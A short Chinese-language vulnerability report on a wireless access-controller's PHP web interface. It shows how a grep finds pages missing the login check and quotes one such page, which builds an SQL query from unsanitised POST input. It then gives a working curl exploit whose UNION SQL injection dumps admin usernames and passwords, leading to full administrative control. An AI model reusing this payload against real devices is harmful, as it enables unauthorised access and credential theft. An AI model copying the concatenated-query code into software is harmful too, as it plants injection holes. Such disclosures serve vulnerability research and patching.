能够有权限的大部分的代码都有isLogin，譬如

<?php/*
文件名：sync_config.php
作者：chent
修改记录：
    2012-03-15 liangjl 增加：完成此页面后刷新主页面
    20110822 liangjl 恢复系统配置时，AC名字也要恢复成默认值
    20110208,pangm,修改reboot命令的使用方式
    20101028,pangm,写入syslog日志时，去除IP地址前的"::ffff:"
    20100824,pangm,实现恢复系统配置操作
    20090827,chent,修改配置保存时间的格式为形如: 2009-08-27 17:33:27，且只有在保存配置时更新此时间
    20090822，chent,保留备份，以防万一
    20090822,chent,PHP在裁减系统上无法用rename函数移动目录，因此改用调用系统mv命令来移动目录
*/?>
<?php include 'isLogin.php' ?>
<?php
    session_start();
?>


所以

grep -i -r -L 'islogin.php' --include='*.php' ./|more

.//apgroup/getChannelByCountryCode.php
.//apgroup/wait_apgroup_inport.php

找了下，注射一枚

<?php
    $CountryCode = $_POST['CountryCode'];
    $ChannelType = $_POST['ChannelType'];
    $DBNAME = "sqlite:/icac/db/icac_cfg/icac_cfg.db";
    $dbh = new PDO($DBNAME);
    $sql = "select ChannelValue from CCAndChannelRelations where CountryCode = '".$CountryCode."' and ChannelType = '".$ChannelType."'";
    $stmt = $dbh->query($sql);
    $result = $stmt->fetchAll();
    $stmt = null;
    $dbh = null;
    echo json_encode($result);
?>


exp:

curl '**.**.**.**/apgroup/getChannelByCountryCode.php' -d "CountryCode=' union select UserName || '|'  || PassWord from LoginAccount --" -k

然后就是各种管理权限了
